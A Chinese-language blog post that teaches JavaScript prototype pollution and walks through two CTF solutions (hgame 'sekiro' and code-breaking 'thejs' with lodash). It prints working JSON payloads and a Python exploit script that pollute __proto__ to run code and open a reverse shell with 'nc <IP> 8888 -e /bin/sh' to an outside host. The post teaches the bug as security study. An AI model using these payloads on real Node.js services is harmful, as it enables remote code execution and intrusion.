从杭电hgame-week4学原型链污染

因为数模导致本来不打算做week4的题目的,不过当时瞅了一眼sekiro这道题并且看出来是原型链污染(也有叫Node.js污染,javasrcipt原型链污染的)。可惜当时没做过,没深入也没做出来。今天抽空看了下wp才明白。干脆把当时查阅资料学到的知识总结下。

时间线上看,国内最早出现的原型链污染题目应该是出自P牛代码审计知识星球的hard-the js。整体上算比较新的洞。在各种比赛出现频次一般,原因有很多,这点之后再谈。其主要是前端形式的攻击,而且涉及到javascript知识更多些,因此还是要从javascript的角度学习下:

原型链

经常有这样一种说法:javascript中万物皆对象。这个说法严格来讲不准确,但是却体现了js语法及使用上的特性。javaScript中的对象其实就是一些键值对的集合,每一个键值对叫做一个属性,比如:

属性

此时对象obj就有了namewebsite两个属性。但其实其输出内容并不只有这两个,完整输出的如下:
__proto__

可以看到,输出属性中出现了proto以及constructor这样的字眼,那他们到底是什么呢?这要提到js继承的概念,继承的整个过程就称为该类的原型链。
从刚刚的例子可以看到,从obj的__proto__中能明白其父类是Object.(Constructor返回用于创建这个对象的函数),同时还有许多其他函数。

__proto__是只针对对象而言的。而对于类,有一个与之相对应的属性,叫做prototype。且二者等价。比如下面这个p牛的经典例子:

__proto__与protype

从类的角度讲,prototype是其一个属性,所有类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。但是类所实例化的对象并不能通过prototype访问原型,所以才有__proto__
出现,且一个对象的proto属性,指向这个对象所在的类的prototype属性。

原型链污染

而原型链的特性决定了其在js继承中的重要之处。而其特性表现在,在我们调用一个对象的某一属性时:

1.对象(obj)中寻找这一属性
2.如果找不到,则在obj.__proto__中寻找属性
3.如果仍然找不到,则继续在obj.__proto__.__proto__中寻找这一属性

以上机制被称为js的prototype继承链。而原型链污染就与这有关

比如以下代码:

let foo = {bar: 1}
console.log(foo.bar)
foo.__proto__.bar = 2
console.log(foo.bar)
let zoo = {}
console.log(zoo.bar)

结果为

污染

可以发现,在我们通过__proto__修改bar值后,再度实例化一个新的对象时,其bar值从1变为了2。原因如下:前面修改foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2.
那么后面我们zoo相当于是实例化了一个Object类,自然有属性bar=2.

所以原型链污染定义如下:

如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

使用场景

原型链污染的使用场景我也不熟,但是目前根据题目出现的情况,主要与这两个函数有关

merge()
clone()

常用源码如下,可以看出clone与merge并无本质区别:

const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}

本质上这两个函数会有风险,就是因为存在能够控制数组(对象)的“键名”的操作。
但是要想实现原型链污染,光只要键名可控是不够的。以下面这个例子为参考:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

尝试把第二个键名设为__proto__并赋值b为2。看看能不能把object的属性b改为2。

污染失败

可以看见最后o3.b返回的是undefined,并没有污染成功。
主要原因就是因为__proto__没有被认为是一个键名。而这就需要我上面提到的另一个条件,代码如下时:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

如果存在JSON.parse(),就能成功把__proto__解析成键名了。

污染成功

有了这些基础,就基本能了解原型链污染的原理了。

真题

hgame sekiro

回头来看hgame中sekiro这道题,题目给出的关键源码主要在一下两个js文件中
route/index.js

var express = require('express');
var router = express.Router();
var game = require('../utils/index');

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
var Game = new game();

router.get('/', function (req, res) {
  res.render('index');
});

router.post('/action', function (req, res) {
  if (!req.session.sekiro) {
    res.end("Session required.")
  }
  if (!req.session.sekiro.alive) {
    res.end("You dead.")
  }
  var body = JSON.parse(JSON.stringify(req.body));
  var copybody = clone(body)
  if (copybody.solution) {
    req.session.sekiro = Game.dealWithAttacks(req.session.sekiro, copybody.solution)
  }
  res.end("提交成功")
})

router.get('/attack', function (req, res) {
  if (!req.session.sekiro) {
    res.end("Session required.")
  }
  if (!req.session.sekiro.alive) {
    res.end("You dead.")
  }
  req.session.sekiro.attackInfo = Game.getAttackInfo()
  res.end(req.session.sekiro.attackInfo.method)
})

router.get('/info', function (req, res) {
  if (typeof(req.query.restart) != "undefined" || !req.session.sekiro) {
    req.session.sekiro = { "health": 3000, posture: 0, alive: true }
  }
  res.json(req.session.sekiro);
})

module.exports = router;

以及util/index.js

function game() {
    this.attacks = [
        {
            "method": "连续砍击",
            "attack": 1000,
            "additionalEffect": "sekiro.posture+=100",
            "solution": "连续格挡"
        },
        {
            "method": "普通攻击",
            "attack": 500,
            "additionalEffect": "sekiro.posture+=50",
            "solution": "格挡"
        },
        {
            "method": "下段攻击",
            "attack": 1000,
            "solution": "跳跃踩头"
        },
        {
            "method": "突刺攻击",
            "attack": 1000,
            "solution": "识破"
        },
        {
            "method": "巴之雷",
            "attack": 1000,
            "solution": "雷反"
        },
    ]
    this.getAttackInfo = function () {
        return this.attacks[Math.floor(Math.random() * this.attacks.length)]
    }
    this.dealWithAttacks = function (sekiro, solution) {
        if (sekiro.attackInfo.solution !== solution) {
            sekiro.health -= sekiro.attackInfo.attack
            if (sekiro.attackInfo.additionalEffect) {
                var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
                sekiro = fn(sekiro)
            }
        }
        sekiro.posture = (sekiro.posture <= 500) ? sekiro.posture : 500
        sekiro.health = (sekiro.health > 0) ? sekiro.health : 0
        if (sekiro.posture == 500 || sekiro.health == 0) {
            sekiro.alive = false
        }
        return sekiro
    }
}
module.exports = game;

很容易发现index.js中,在/action这个路由里,有merge(),clone()函数的出现。于是我们跟进下,发现要到dealWithAttacks()这个函数去,于是再审计下关键代码:

if (sekiro.attackInfo.additionalEffect) {
    var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
    sekiro = fn(sekiro)
}

这里的attackInfo.additionalEffect如果能被我们污染,明显是可以直接RCE的。那么我们要做的就是污染Object类,当题目执行attackInfo.additionalEffect找不到additionalEffect时,就会继续找到基类被污染的这一属性,从而执行我们的代码。

所以paylaod如下

{"solution":"1","__proto__": {"additionalEffect":"global.process.mainModule.constructor._load('child_process'). exec('nc vps-ip 8877 -e /bin/sh',function(){});"}}
import requests
import json

url='http://sekiro.hgame.babelfish.ink/action'
cookie={
    'session':'s%3ACDDqh7q_XQ-rRAIB7W93PfE75p9oD7gS.UQuPEE0eikMrkIoAUaWJ3TFIibdRs72odZliCVcyzrk'
}
headers={
    'Content-Type':'application/json'
}
payload={"solution":"1","__proto__": {"additionalEffect":"global.process.mainModule.constructor._load('child_process'). exec('nc 120.27.246.202 8888 -e /bin/sh',function(){});"}}

res=requests.post(url,cookies=cookie,headers=headers,data=json.dumps(payload))
print(res.text)

使用bash弹shell貌似没成,可能是nodejs的问题吧


flag

code-breaking thejs

开头提到了p牛知识星球的这道题,那么现在再来看看:

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }
    
    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

漏洞点非常清晰,就是一个POST处用到了merge,显然存在原型链污染漏洞。那么关键函数需要去看看,所以需要参考lodash的代码(lodash是一个辅助功能集,这里主要用到的还是lodash.mergelodash.template)如果去审计源码,会发现这样一个属性https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165及对应源码,和后面的调用。

var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
  .apply(undefined, importsValues);
});

开始sourceURL是空值,但是后面它作为new Function的第二个参数中,造成任意代码执行漏洞。
所以payload如下:

{"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('nc 120.27.246.202 8888 -e /bin/sh',function(){});"}}
payload

需要注意的是,此处的/u000a必不可少,这时json中的换行。并且一定要把Content-Type必须设置成application/json。否则__proto__会被处理成字符串。
这里同样使用跟hgame那道题一样的弹shell手段。可以拿到shell
同时因为不知道文件名,使用cat /fl*来模糊处理。

flag

值得一提的是,p牛对此题的payload额外带了一个for循环

for (var a in{}) {delete Object.prototype[a]}

删掉污染的原型。这时因为原型污染这一漏洞除非整个程序重启,否则所有的对象都会被污染与影响。这样在awd等等比赛中一旦你拿到flag,就有可能被别人直接访问到。

总结下:
1.原型链污染属于前端漏洞应用,基本上需要源码审计功力来进行解决;找到merge(),clone()只是确定漏洞的开始。
2.进行审计需要以找到可污染的属性为主要目的。寻找方法是:找到一个重要的但是开始并没有定义或者存在值为undefined的属性,它在之后被直接调用时将执行污染属性。通常属性会被插入到一段代码中,或者直接作为某功能调用。exec, return ,fn等等都是值得注意的关键字。
3.题目基本是以RCE(弹shell)为最终目的,但是有的题目可能靶机原因不支持,所以要灵活变化把flag读出来。目前来看很多Node.js传统弹shell方式并不适用.wget,curl,以及我两道题都用到的nc比较适用。

参考文章:

https://www.anquanke.com/post/id/176884#h3-5
https://xz.aliyun.com/t/2802
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
https://zhuanlan.zhihu.com/p/52042249